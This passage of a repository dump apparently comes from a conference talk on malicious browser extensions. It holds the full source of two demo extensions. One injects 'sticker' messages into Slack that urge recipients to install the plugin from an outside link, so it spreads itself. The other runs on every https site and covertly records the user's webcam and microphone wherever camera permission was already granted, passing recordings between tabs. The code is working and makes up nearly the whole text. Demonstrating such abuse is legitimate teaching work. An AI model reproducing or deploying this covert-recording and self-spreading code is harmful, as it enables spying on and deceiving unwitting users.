DYtLjAwNS4wMDktLjAxTDkuMjUgOS45MjVsLTEuODEgMS44MSAxMi40MzQgMTIuNDM0IDEuMTg4LTIuNDE0ek01LjUgOC41MzljMCAuODkxLjM4OCAxLjY4Ni45OTcgMi4yNDVsLS4wMDMuMDAzLjI1Ni4yNTcgNC4zMS00LjMxLS4yNjQtLjI2My0uMDAzLjAwM2EzLjAzNyAzLjAzNyAwIDAgMC0yLjIzOC0uOTlBMy4wNTQgMy4wNTQgMCAwIDAgNS41IDguNTR6Ii8+PC9nPjxkZWZzPjxjbGlwUGF0aCBpZD0iY2xpcDAiPjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0wIDBoMzJ2MzJIMHoiLz48L2NsaXBQYXRoPjwvZGVmcz48L3N2Zz4=); 3 | width: 22px; 4 | height: 22px; 5 | background-size: contain; 6 | display: inline-block; 7 | } 8 | 9 | .plugin-button { 10 | outline: none; 11 | background: none; 12 | padding: 0; 13 | display: inline-block; 14 | width: 32px; 15 | height: 32px; 16 | position: relative; 17 | left: -60px; 18 | } 19 | 20 | .plugin-button_switcher { 21 | width: 64px; 22 | height: 64px; 23 | position: static; 24 | } 25 | 26 | .plugin-sticker { 27 | width: 64px; 28 | height: 64px; 29 | background-size: contain; 30 | display: inline-block; 31 | } 32 | 33 | .plugin-sticker_hh { 34 | background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMSIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDApIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTAgMjguMTY4VjIuODMyQzAgMS4yNyAxLjMxIDAgMi45MjMgMGgyNi4xNTRDMzAuNjkgMCAzMiAxLjI3IDMyIDIuODMydjI1LjMzNkMzMiAyOS43MzEgMzAuNjkgMzEgMjkuMDc4IDMxSDIuOTIyQzEuMzA5IDMxIDAgMjkuNzMxIDAgMjguMTY4em0zMSAwVjIuODMyYzAtMS4wMjYtLjg2NC0xLjg2My0xLjkyMi0xLjg2M0gyLjkyMkMxLjg2My45NjkgMSAxLjgwNiAxIDIuODMydjI1LjMzNmMwIDEuMDI3Ljg2MyAxLjg2MyAxLjkyMyAxLjg2M2gyNi4xNTRjMS4wNiAwIDEuOTIzLS44MzYgMS45MjMtMS44NjN6IiBmaWxsPSIjNjY2Ii8+PHBhdGggZD0iTTMuMjkxIDIydi41aDIuOHYtNi40MWg2LjA3djYuNDFoMi43OTlWNy45aC0yLjh2NS41ODRINi4wOVY3LjlIMy4yOTJWMjJ6bTEzLjczIDB2LjVoMi44di02LjQxaDYuMDd2Ni40MWgyLjhWNy45aC0yLjh2NS41ODRoLTYuMDdWNy45aC0yLjhWMjJ6IiBzdHJva2U9IiM2NjYiLz48L2c+PGRlZnM+PGNsaXBQYXRoIGlkPSJjbGlwMCI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTAgMGgzMnYzMkgweiIvPjwvY2xpcFBhdGg+PC9kZWZzPjwvc3ZnPg==); 35 | } 36 | 37 | .plugin-sticker_github { 38 | background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwKSIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiM2NjYiPjxwYXRoIGQ9Ik0xOC44MzcgMjcuODM4YS45ODcuOTg3IDAgMCAxLS4xOTEtLjE1NiAxLjExOCAxLjExOCAwIDAgMS0uMjk0LS43N2MwLS4zODcuMDE0LTEuNjU4LjAxNC0zLjIzNCAwLS45OTctLjMzMi0xLjU2Mi0uNjEyLTEuODA5YS41MDEuNTAxIDAgMCAxIC4yNzMtLjg3MmMyLjQxMy0uMjggNC44MDQtMS4xMyA0LjgwNC01LjMyNiAwLTEuMTYtLjQwMS0yLjA5Ni0xLjA1Ni0yLjgyN2EuNTAyLjUwMiAwIDAgMS0uMDkyLS41MmMuMDc5LS4xOTYuMzY1LTEuMDM2LjA1Ny0yLjIyN2wtLjA3Ny0uMjMyYy0uMzc2LjAzMi0xLjE4NC4yMjYtMi41MDEgMS4xNGEuNDkzLjQ5MyAwIDAgMS0uNDIxLjA3MSAxMC4yNSAxMC4yNSAwIDAgMC01LjQ3MyAwIC40OTcuNDk3IDAgMCAxLS40MjItLjA3Yy0xLjMyMS0uOTE1LTIuMTMtMS4xMDktMi41MDItMS4xNGwtLjA3NS4yMzFjLS4zMDcgMS4xOTEtLjAyMSAyLjAzMy4wNTcgMi4yMzFhLjUwMS41MDEgMCAwIDEtLjA5My41MTVjLS42NTMuNzMyLTEuMDUzIDEuNjY4LTEuMDUzIDIuODI4IDAgNC4xNjkgMi4zNjYgNS4wNTIgNC43ODcgNS4zNGEuNS41IDAgMCAxIC4yNzIuODdjLS4yMi4xOTUtLjQ3My41OTUtLjU2NCAxLjI2MmEuNS41IDAgMCAxLS4yODIuMzg1Yy0uNjk1LjMyNy0yLjc1Ljk5Ni0zLjk5NS0xLjE4NS0uMDA1LS4wMS0uMTMtLjIzNC0uMzYxLS40NjNsLjIzNi4zMzNjLjE2MS4yNTQuMzIzLjU2NC40NzYuOTcxLS4wMy0uMTA1LjQ4NiAxLjg1OCAzLjI4NSAxLjIzNC4zMS0uMDcxLjYwOC4xNjYuNjA4LjQ4NS4wMDMuOTYyLjAxNyAxLjc1LjAxNyAyLjAwOCAwIC4yNS0uMDguNTUyLS4zMzcuODA4bC0uMTEyLjA5NGMtLjI2NC4xOC0uNTg3LjIyNC0uOTI4LjE2bC0uMDctLjAxOWMtNC43NjMtMS42MjgtOC4xOS02LjI0Mi04LjE5LTExLjY2OCAwLTYuNzcgNS4zNS0xMi4yODQgMTEuOTc5LTEyLjI4NCA2LjYyNiAwIDExLjk4OCA1LjUxMyAxMS45ODggMTIuMjg0IDAgNS40MjYtMy40MjUgMTAuMDM1LTguMTg2IDExLjY2OGwtLjA2NS4wMTdjLS4zMy4wNjYtLjY0My4wMzEtLjkwMS0uMTMzem0uNjgyLS44NDRsLjc2Mi0uMjk2YzMuOTM1LTEuNzE1IDYuNzA5LTUuNzIzIDYuNzA5LTEwLjQxMiAwLTYuMjQyLTQuOTM4LTExLjI4NC0xMC45OS0xMS4yODQtNi4wNSAwLTEwLjk3OCA1LjA0LTEwLjk3OCAxMS4yODQgMCA0LjY4OSAyLjc3NCA4LjcwMSA2LjcxIDEwLjQxMmwuNzYuMjkzaC4xNGwuMDI3LS4wOGMwLS4yMTYtLjAwOC0uNjY0LS4wMTMtMS4zMDNsLS4wMTctLjEwNmMtMi42NS4zMjEtMy41Ny0xLjM3Ni0zLjc4NC0xLjg4OGwtLjA0LS4xMDZjLS40Ny0xLjIzLTEuMTE5LTEuNTA1LTEuMDIxLTEuNDU3bC0uMDctLjA0Yy0uMjI1LS4xNTktLjQwOS0uMzE5LS41MjItLjQ5LS4zNDItLjUxMy0uMDE4LS45MS4zMzItMS4wNDYuMjU3LS4xLjU3LS4wOS41ODItLjA5IDEuNDU5LjEwMyAyLjE3OCAxLjQ5MiAyLjE2OCAxLjQ3NC42MDggMS4wNjQgMS40NzIgMS4xMjUgMi4xMjcuOTY2bC4zNS0uMTIzLjA2LS4yOTNjLjA1Ni0uMTg1LjEyMy0uMzU3LjIxMS0uNTMybC0uMTktLjAzN2MtMi4zNzUtLjUwMS00LjY1Mi0xLjkxNi00LjY1Mi02LjE2OSAwLTEuMDU4LjI3Ny0xLjk4MS43Ni0yLjc2MWwuMzY1LS40ODgtLjA1LS4xOGMtLjE1LS42MTctLjI2LTEuNzAyLjI1LTMuMDM2YS41MDEuNTAxIDAgMCAxIC4zMTItLjI5NmMuMTY4LS4wNTYgMS4wNS0uMjQ5IDIuNzk2Ljc2M2wuNjE3LjM5NCAxLjI0OC0uMjU4YTEyLjEgMTIuMSAwIDAgMSAxLjUyMS0uMTA2Yy41MTIuMDA0IDEuMDI0LjAzOCAxLjUzLjEwNmwxLjI0OS4yNTguNjE0LS4zOTJjMS43NDQtMS4wMTQgMi42My0uODIgMi43OTktLjc2NWEuNDk2LjQ5NiAwIDAgMSAuMzEuMjk2Yy41MTQgMS4zMzMuNDAzIDIuNDE4LjI1MyAzLjAzN2wtLjA1MS4xNzkuMzY1LjQ4OGMuNDgzLjc4Ljc2MyAxLjcwMy43NjMgMi43NjEgMCA0LjI4LTIuMyA1LjY3LTQuNjczIDYuMTZsLS4yMDIuMDMyLjE0LjI2MmMuMTY5LjQyOC4yNy45NDcuMjcgMS41NTMgMCAxLjU3Ni0uMDE0IDIuODQ3LS4wMTQgMy4yMzNsLjAyMy4wODQuMTQ0LS4wMDF6Ii8+PHBhdGggZD0iTTAgMjkuMDc3VjIuOTIzQTIuOTI1IDIuOTI1IDAgMCAxIDIuOTIzIDBoMjYuMTU0QTIuOTI2IDIuOTI2IDAgMCAxIDMyIDIuOTIzdjI2LjE1NEEyLjkyNSAyLjkyNSAwIDAgMSAyOS4wNzggMzJIMi45MjJBMi45MjQgMi45MjQgMCAwIDEgMCAyOS4wNzd6bTMxIDBWMi45MjNBMS45MjcgMS45MjcgMCAwIDAgMjkuMDc4IDFIMi45MjJDMS44NjMgMSAxIDEuODY0IDEgMi45MjN2MjYuMTU0QzEgMzAuMTM3IDEuODYzIDMxIDIuOTIzIDMxaDI2LjE1NEExLjkyNiAxLjkyNiAwIDAgMCAzMSAyOS4wNzd6Ii8+PC9nPjxkZWZzPjxjbGlwUGF0aCBpZD0iY2xpcDAiPjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0wIDBoMzJ2MzJIMHoiLz48L2NsaXBQYXRoPjwvZGVmcz48L3N2Zz4=); 39 | } 40 | 41 | .plugin-sticker_writing { 42 | background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwKSIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGZpbGw9IiM2NjYiPjxwYXRoIGQ9Ik0wIDI5LjA3N1YyLjkyM0EyLjkyNSAyLjkyNSAwIDAgMSAyLjkyMyAwaDI2LjE1NEEyLjkyNiAyLjkyNiAwIDAgMSAzMiAyLjkyM3YyNi4xNTRBMi45MjUgMi45MjUgMCAwIDEgMjkuMDc4IDMySDIuOTIyQTIuOTI0IDIuOTI0IDAgMCAxIDAgMjkuMDc3em0zMSAwVjIuOTIzQTEuOTI3IDEuOTI3IDAgMCAwIDI5LjA3OCAxSDIuOTIyQzEuODYzIDEgMSAxLjg2NCAxIDIuOTIzdjI2LjE1NEMxIDMwLjEzNyAxLjg2MyAzMSAyLjkyMyAzMWgyNi4xNTRBMS45MjYgMS45MjYgMCAwIDAgMzEgMjkuMDc3eiIvPjxwYXRoIGQ9Ik0xMS4xOTUgNS41MzVjLjA1LjAyMy4wOTguMDUxLjEzOS4wOTJMMjUuMjg1IDE5LjU4Yy4wOTQuMDU1LjE3Ni4xMy4yMTcuMjM4bDEuOTQgNi45MjVjLjAwNy4wMTUuMDA4LjAzMi4wMTMuMDQ4bC4wMDcuMDIzYy4wMDIuMDA0IDAgLjAwOS4wMDIuMDEyYS40NjMuNDYzIDAgMCAxIC4wMDIuMjg0Yy0uMDAzLjAxLS4wMDEuMDItLjAwNS4wMy0uMDAxLjAwNS0uMDA1LjAwNy0uMDA2LjAxMWEuNDcuNDcgMCAwIDEtLjA3LjEyYy0uMDE0LjAyLS4wMjcuMDQtLjA0My4wNTYtLjAxNy4wMTctLjAzOC4wMy0uMDU3LjA0M2EuNDc2LjQ3NiAwIDAgMS0uMTIuMDcxbC0uMDEuMDA3Yy0uMDEuMDAzLS4wMi4wMDEtLjAzMS4wMDRhLjQ5Mi40OTIgMCAwIDEtLjI4NC0uMDAyYy0uMDA0LS4wMDItLjAwOCAwLS4wMTItLjAwMmwtLjAyNC0uMDA3Yy0uMDE1LS4wMDUtLjAzMi0uMDA2LS4wNDYtLjAxM2wtNi45MjctMS45NGEuNDc3LjQ3NyAwIDAgMS0uMjM3LS4yMTdsLTEzLjc0LTEzLjc0Yy0uMDIzLS4wMi0uMDQyLS4wNDMtLjA2NC0uMDY0bC0uMTQ5LS4xNDljLS4wMDgtLjAwOC0uMDEtLjAxNy0uMDE3LS4wMjVBMy45OTUgMy45OTUgMCAwIDEgNC41IDguNTIzIDQuMDI0IDQuMDI0IDAgMCAxIDguNTI0IDQuNWMxLjAzIDAgMS45Ni4zOTcgMi42NzEgMS4wMzV6bS41NTUgMS44OWwtMS44MSAxLjgxIDExLjgyMSAxMS44MmMuMDA0LS4wMDMuMDA2LS4wMDguMDEtLjAxbDIuNDEzLTEuMTg2TDExLjc1IDcuNDI1em0xNC40ODYgMTguNzk2bC0uMzg5LTEuMzkzLTEuMDAzIDEuMDAzIDEuMzkyLjM5em0tMi40NzEtLjY5MmwxLjc4LTEuNzgtLjg1OC0zLjA2UzIyLjAwMSAyMS45ODMgMjIgMjEuOTg1bC0xLjI5NSAyLjY4NyAzLjA2Ljg1N3ptLTIuNzAzLTMuNzc0Yy4wMDItLjAwNC4wMDYtLjAwNS4wMDktLjAxTDkuMjUgOS45MjVsLTEuODEgMS44MSAxMi40MzQgMTIuNDM0IDEuMTg4LTIuNDE0ek01LjUgOC41MzljMCAuODkxLjM4OCAxLjY4Ni45OTcgMi4yNDVsLS4wMDMuMDAzLjI1Ni4yNTcgNC4zMS00LjMxLS4yNjQtLjI2My0uMDAzLjAwM2EzLjAzNyAzLjAzNyAwIDAgMC0yLjIzOC0uOTlBMy4wNTQgMy4wNTQgMCAwIDAgNS41IDguNTR6Ii8+PC9nPjxkZWZzPjxjbGlwUGF0aCBpZD0iY2xpcDAiPjxwYXRoIGZpbGw9IiNmZmYiIGQ9Ik0wIDBoMzJ2MzJIMHoiLz48L2NsaXBQYXRoPjwvZGVmcz48L3N2Zz4=); 43 | } 44 | 45 | .plugin-dropdown { 46 | position: absolute; 47 | bottom: 72px; 48 | right: 10px; 49 | height: 110px; 50 | z-index: 1200; 51 | background-color: #fefefe; 52 | box-shadow: 0 6px 20px rgba(0, 0, 0, 0.3); 53 | border-radius: 3px; 54 | border: 1px solid #ddd; 55 | width: 240px; 56 | display: flex; 57 | align-items: center; 58 | padding: 15px; 59 | } 60 | 61 | .plugin-delim { 62 | display: inline-block; 63 | width: 10px; 64 | } 65 | 66 | .plugin-anchor { 67 | height: 0; 68 | width: 0; 69 | position: absolute; 70 | right: 0; 71 | bottom: 0; 72 | } 73 | -------------------------------------------------------------------------------- /evil/slack/plugin/entry.js: -------------------------------------------------------------------------------- 1 | const CONFIG = { 2 | editor: "ql-editor", 3 | buttons: "ql-buttons", 4 | workspace: "p-workspace__primary_view", 5 | message: "c-message", 6 | messageBody: "c-message__body" 7 | }; 8 | 9 | const STICKERS = { 10 | hh: { 11 | html: '', 12 | text: "To see message get slack plugin here: https://xnim.ru/plugin?hh" 13 | }, 14 | github: { 15 | html: '', 16 | text: "To see message get slack plugin here: https://xnim.ru/plugin?github" 17 | }, 18 | writing: { 19 | html: '', 20 | text: "To see message get slack plugin here: https://xnim.ru/plugin?writing" 21 | } 22 | }; 23 | 24 | const mo = new MutationObserver(function callback(mutationsList) { 25 | for (const mutation of mutationsList) { 26 | mutation.addedNodes.forEach(addedNode => { 27 | if ( 28 | addedNode.innerText && 29 | addedNode.innerText.includes("To see message get slack plugin here:") 30 | ) { 31 | if (addedNode.querySelector(`.${CONFIG.message}`)) { 32 | const messageBody = addedNode.querySelector(`.${CONFIG.messageBody}`); 33 | const match = messageBody.innerText.match(/\?(.+)/); 34 | if (match && match[1]) { 35 | messageBody.innerHTML = STICKERS[match[1]].html; 36 | } 37 | } 38 | } 39 | if (addedNode.nodeType !== Node.ELEMENT_NODE) return false; 40 | if (addedNode.classList.contains(CONFIG.editor)) { 41 | insertStickerSwitcher(); 42 | } 43 | }); 44 | } 45 | }); 46 | 47 | const config = { 48 | attributes: true, 49 | attributeOldValue: true, 50 | characterData: true, 51 | characterDataOldValue: true, 52 | childList: true, 53 | subtree: true 54 | }; 55 | mo.observe(document, config); 56 | 57 | function insertStickerSwitcher() { 58 | const editor = document.querySelector(`.${CONFIG.editor}`); 59 | if (editor.parentNode.querySelector(".plugin-button")) { 60 | return; 61 | } 62 | const button = document.createElement("button"); 63 | button.classList.add("plugin-button"); 64 | const span = document.createElement("span"); 65 | span.classList.add("plugin-stickers"); 66 | button.appendChild(span); 67 | 68 | editor.parentNode.querySelector(`.${CONFIG.buttons}`).appendChild(button); 69 | 70 | button.addEventListener("click", function() { 71 | toggleDropdown(); 72 | }); 73 | } 74 | 75 | function toggleDropdown() { 76 | if (!document.querySelector(".plugin-dropdown")) { 77 | return showDropdown(); 78 | } 79 | const dropdown = document.querySelector(".plugin-dropdown"); 80 | dropdown.parentNode.removeChild(dropdown); 81 | } 82 | 83 | function showDropdown() { 84 | const template = ` 85 |
    86 | 89 | 90 | 93 | 94 | 97 |
    98 | `; 99 | 100 | const div = document.createElement("div"); 101 | div.classList.add("plugin-anchor"); 102 | div.innerHTML = template; 103 | 104 | document.querySelector(`.${CONFIG.workspace}`).append(div); 105 | document.querySelectorAll(".js-select-sticker").forEach(item => 106 | item.addEventListener("click", e => { 107 | const sticker = STICKERS[e.currentTarget.dataset.kind]; 108 | const editor = document.querySelector(`.${CONFIG.editor}`); 109 | editor.innerHTML = `

    ${sticker.text}

    `; 110 | toggleDropdown(); 111 | editor.focus(); 112 | editor.dispatchEvent( 113 | new KeyboardEvent("keydown", { 114 | bubbles: true, 115 | cancelable: true, 116 | keyCode: 13 117 | }) 118 | ); 119 | }) 120 | ); 121 | } 122 | -------------------------------------------------------------------------------- /evil/slack/plugin/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/slack/plugin/icons/icon128.png -------------------------------------------------------------------------------- /evil/slack/plugin/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "HolyJs SLACK", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/icon128.png", 7 | "64": "./icons/icon128.png", 8 | "32": "./icons/icon128.png" 9 | }, 10 | "background": { 11 | "scripts": ["background.js"] 12 | }, 13 | "permissions": ["tabs", "activeTab", ""], 14 | "browser_action": { 15 | "default_icon": { 16 | "128": "./icons/icon128.png", 17 | "64": "./icons/icon128.png", 18 | "32": "./icons/icon128.png" 19 | }, 20 | "default_popup": "./popup/index.html" 21 | }, 22 | "content_scripts": [ 23 | { 24 | "matches": ["https://*/*"], 25 | "js": ["entry.js"], 26 | "css": ["content.css"] 27 | } 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /evil/slack/plugin/popup/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
    10 |
      11 |
      12 |
      13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /evil/slack/plugin/popup/index.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | let audios = []; 3 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1254003 4 | // Подключаем скрипт на страницу 5 | chrome.runtime.sendMessage({ action: "popupOpened" }, response => { 6 | audios = response.data; 7 | 8 | const audio = document.createElement("video"); 9 | audio.src = response.data; 10 | audio.controls = true; 11 | document.querySelector(".js-audios").appendChild(audio); 12 | // audios.forEach((item, index) => { 13 | // const audiosEl = document.querySelector(".js-audios"); 14 | // const li = document.createElement("li"); 15 | // const button = document.createElement("button"); 16 | // button.innerText = "Play"; 17 | // button.dataset.index = index; 18 | // li.appendChild(button); 19 | // audiosEl.appendChild(li); 20 | // }); 21 | }); 22 | 23 | document.querySelector(".js-audios").addEventListener("click", e => { 24 | if (e.target.dataset.index) { 25 | const audio = new Audio(audios[e.target.dataset.index]); 26 | audio.play(); 27 | } 28 | }); 29 | })(); 30 | -------------------------------------------------------------------------------- /evil/slack/plugin/popup/styles.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/slack/plugin/popup/styles.css -------------------------------------------------------------------------------- /evil/video/README.md: -------------------------------------------------------------------------------- 1 | Пример плагина, который проверяет при открытии сайт — есть ли право на камеру и если есть, включает запись пользователя. 2 | 3 | При этом, background script менеджит статусы страниц, и если одна из страниц прекращает запись — запускает запись на следующей страницу -------------------------------------------------------------------------------- /evil/video/plugin/background.js: -------------------------------------------------------------------------------- 1 | const listOfPotencialRecorders = []; 2 | let timer = null; 3 | let recording = false; 4 | 5 | let records = []; 6 | 7 | function chooseNextRecorder(notShift) { 8 | if (notShift) { 9 | console.log( 10 | "recorder added. Now there amount is: ", 11 | listOfPotencialRecorders.length 12 | ); 13 | } 14 | if (timer && listOfPotencialRecorders.length && !recording && !notShift) { 15 | listOfPotencialRecorders.shift(); 16 | console.log( 17 | "remove one of recorders. Now ", 18 | listOfPotencialRecorders.length 19 | ); 20 | } 21 | if (listOfPotencialRecorders.length && !recording) { 22 | console.log("recorder is being notified"); 23 | listOfPotencialRecorders[0](); 24 | timer = setTimeout(() => { 25 | console.log("recorder didn't send response"); 26 | chooseNextRecorder(); 27 | }, 1500); 28 | } 29 | } 30 | 31 | let sendResponseToEntity; 32 | let sendResponseToPopup; 33 | const ACTIONS = { 34 | canRecordAudio: (req, sender, sendResponse) => { 35 | listOfPotencialRecorders.push(sendResponse); 36 | chooseNextRecorder(true); 37 | }, 38 | audioIsRecording: (request, sender, sendResponse) => { 39 | console.log("recorder is working"); 40 | recording = true; 41 | clearTimeout(timer); 42 | 43 | sendResponseToEntity = sendResponse; 44 | }, 45 | popupOpened: (request, sender, sendResponse) => { 46 | console.log("Popup is shown"); 47 | sendResponseToEntity(); 48 | sendResponseToPopup = sendResponse; 49 | }, 50 | audioFile: request => { 51 | console.log("received a chunk from recorder"); 52 | sendResponseToPopup({ data: request.data }); 53 | }, 54 | dead: () => { 55 | console.log( 56 | "Recorder became dead. We should be able to save them before this event" 57 | ); 58 | recording = false; 59 | records = []; 60 | chooseNextRecorder(); 61 | } 62 | }; 63 | 64 | chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { 65 | if (!request.action || !ACTIONS[request.action]) { 66 | return; 67 | } 68 | 69 | ACTIONS[request.action](request, sender, sendResponse); 70 | return true; 71 | }); 72 | -------------------------------------------------------------------------------- /evil/video/plugin/entry.js: -------------------------------------------------------------------------------- 1 | if (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices) { 2 | navigator.enumerateDevices = function(callback) { 3 | navigator.mediaDevices.enumerateDevices().then(callback); 4 | }; 5 | } 6 | 7 | var MediaDevices = []; 8 | var isHTTPs = location.protocol === "https:"; 9 | var canEnumerate = false; 10 | 11 | if ( 12 | typeof MediaStreamTrack !== "undefined" && 13 | "getSources" in MediaStreamTrack 14 | ) { 15 | canEnumerate = true; 16 | } else if ( 17 | navigator.mediaDevices && 18 | !!navigator.mediaDevices.enumerateDevices 19 | ) { 20 | canEnumerate = true; 21 | } 22 | 23 | var hasMicrophone = false; 24 | var hasSpeakers = false; 25 | var hasWebcam = false; 26 | 27 | var isMicrophoneAlreadyCaptured = false; 28 | var isWebcamAlreadyCaptured = false; 29 | 30 | function checkDeviceSupport(callback) { 31 | if (!canEnumerate) { 32 | return; 33 | } 34 | 35 | if ( 36 | !navigator.enumerateDevices && 37 | window.MediaStreamTrack && 38 | window.MediaStreamTrack.getSources 39 | ) { 40 | navigator.enumerateDevices = window.MediaStreamTrack.getSources.bind( 41 | window.MediaStreamTrack 42 | ); 43 | } 44 | 45 | if (!navigator.enumerateDevices && navigator.enumerateDevices) { 46 | navigator.enumerateDevices = navigator.enumerateDevices.bind(navigator); 47 | } 48 | 49 | if (!navigator.enumerateDevices) { 50 | if (callback) { 51 | callback(); 52 | } 53 | return; 54 | } 55 | 56 | MediaDevices = []; 57 | navigator.enumerateDevices(function(devices) { 58 | devices.forEach(function(_device) { 59 | var device = {}; 60 | for (var d in _device) { 61 | device[d] = _device[d]; 62 | } 63 | 64 | if (device.kind === "audio") { 65 | device.kind = "audioinput"; 66 | } 67 | 68 | if (device.kind === "video") { 69 | device.kind = "videoinput"; 70 | } 71 | 72 | var skip; 73 | MediaDevices.forEach(function(d) { 74 | if (d.id === device.id && d.kind === device.kind) { 75 | skip = true; 76 | } 77 | }); 78 | 79 | if (skip) { 80 | return; 81 | } 82 | 83 | if (!device.deviceId) { 84 | device.deviceId = device.id; 85 | } 86 | 87 | if (!device.id) { 88 | device.id = device.deviceId; 89 | } 90 | 91 | if (!device.label) { 92 | device.label = "Please invoke getUserMedia once."; 93 | if (!isHTTPs) { 94 | device.label = 95 | "HTTPs is required to get label of this " + 96 | device.kind + 97 | " device."; 98 | } 99 | } else { 100 | if (device.kind === "videoinput" && !isWebcamAlreadyCaptured) { 101 | isWebcamAlreadyCaptured = true; 102 | } 103 | 104 | if (device.kind === "audioinput" && !isMicrophoneAlreadyCaptured) { 105 | isMicrophoneAlreadyCaptured = true; 106 | } 107 | } 108 | 109 | if (device.kind === "audioinput") { 110 | hasMicrophone = true; 111 | } 112 | 113 | if (device.kind === "audiooutput") { 114 | hasSpeakers = true; 115 | } 116 | 117 | if (device.kind === "videoinput") { 118 | hasWebcam = true; 119 | } 120 | 121 | // there is no 'videoouput' in the spec. 122 | 123 | MediaDevices.push(device); 124 | }); 125 | 126 | if (callback) { 127 | callback(); 128 | } 129 | }); 130 | } 131 | 132 | // check for microphone/camera support! 133 | checkDeviceSupport(function() { 134 | console.log("hasWebCam: ", hasWebcam); 135 | console.log("hasMicrophone: ", hasMicrophone); 136 | console.log("isMicrophoneAlreadyCaptured: ", isMicrophoneAlreadyCaptured); 137 | console.log("isWebcamAlreadyCaptured: ", isWebcamAlreadyCaptured); 138 | 139 | if (isWebcamAlreadyCaptured) { 140 | chrome.runtime.sendMessage({ action: "canRecordAudio" }, () => { 141 | record(); 142 | }); 143 | } 144 | }); 145 | 146 | let shouldRecord = false; 147 | let sendResponse = null; 148 | function record() { 149 | navigator.mediaDevices 150 | .getUserMedia({ audio: true, video: true }) 151 | .then(stream => { 152 | const mediaRecorder = new MediaRecorder(stream); 153 | mediaRecorder.start(); 154 | 155 | chrome.runtime.sendMessage({ action: "audioIsRecording" }, () => { 156 | shouldRecord = true; 157 | mediaRecorder.stop(); 158 | }); 159 | 160 | const audioChunks = []; 161 | 162 | mediaRecorder.addEventListener("dataavailable", event => { 163 | console.log("got chunk"); 164 | audioChunks.push(event.data); 165 | }); 166 | 167 | mediaRecorder.addEventListener("stop", () => { 168 | console.log("STOP"); 169 | const audioBlob = new Blob(audioChunks); 170 | const audioUrl = URL.createObjectURL(audioBlob); 171 | 172 | chrome.runtime.sendMessage({ action: "audioFile", data: audioUrl }); 173 | 174 | if (shouldRecord) { 175 | record(); 176 | shouldRecord = false; 177 | } 178 | }); 179 | 180 | window.addEventListener("unload", () => { 181 | chrome.runtime.sendMessage({ action: "dead" }); 182 | }); 183 | }); 184 | } 185 | -------------------------------------------------------------------------------- /evil/video/plugin/icons/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnimorz/browser-extensions-talk-holyjs/fa6be6faf7f23af05ad33fd4b60c65c9f0b17be6/evil/video/plugin/icons/icon128.png -------------------------------------------------------------------------------- /evil/video/plugin/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "HolyJs VIDEO", 4 | "version": "4.2", 5 | "icons": { 6 | "128": "./icons/icon128.png", 7 | "64": "./icons/icon128.png", 8 | "32": "./icons/icon128.png" 9 | }, 10 | "background": { 11 | "scripts": ["background.js"] 12 | }, 13 | "permissions": ["tabs", "activeTab", ""], 14 | "browser_action": { 15 | "default_icon": { 16 | "128": "./icons/icon128.png", 17 | "64": "./icons/icon128.png", 18 | "32": "./icons/icon128.png" 19 | }, 20 | "default_popup": "./popup/index.html" 21 | }, 22 | "content_scripts": [ 23 | { 24 | "matches": ["https://*/*"], 25 | "js": ["entry.js"] 26 | } 27 | ] 28 | } 29 | -------------------------------------------------------------------------------- /evil/video/plugin/popup/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
      10 |
        11 |
        12 |
        13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /evil/video/plugin/popup/index.js: -------------------------------------------------------------------------------- 1 | (function() { 2 | let audios = []; 3 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1254003 4 | // Подключаем скрипт на страницу 5 | chrome.runtime.sendMessage({ action: "popupOpened" }, response => { 6 | audios = response.data; 7 | 8 | const audio = document.createElement("video"); 9 | audio.src = response.data; 10 | audio.controls = true; 11 | document.querySelector(".js-audios").appendChild(audio); 12 | // audios.forEach((item, index) => { 13 | // const audiosEl = document.querySelector(".js-audios"); 14 | // const li = document.createElement("li"); 15 | // const button = document.createElement("button"); 16 | // button.innerText = "Play"; 17 | // button.dataset.index = index; 18 | // li.appendChild(button); 19 | // audiosEl.appendChild(li); 20 | // }); 21 | }); 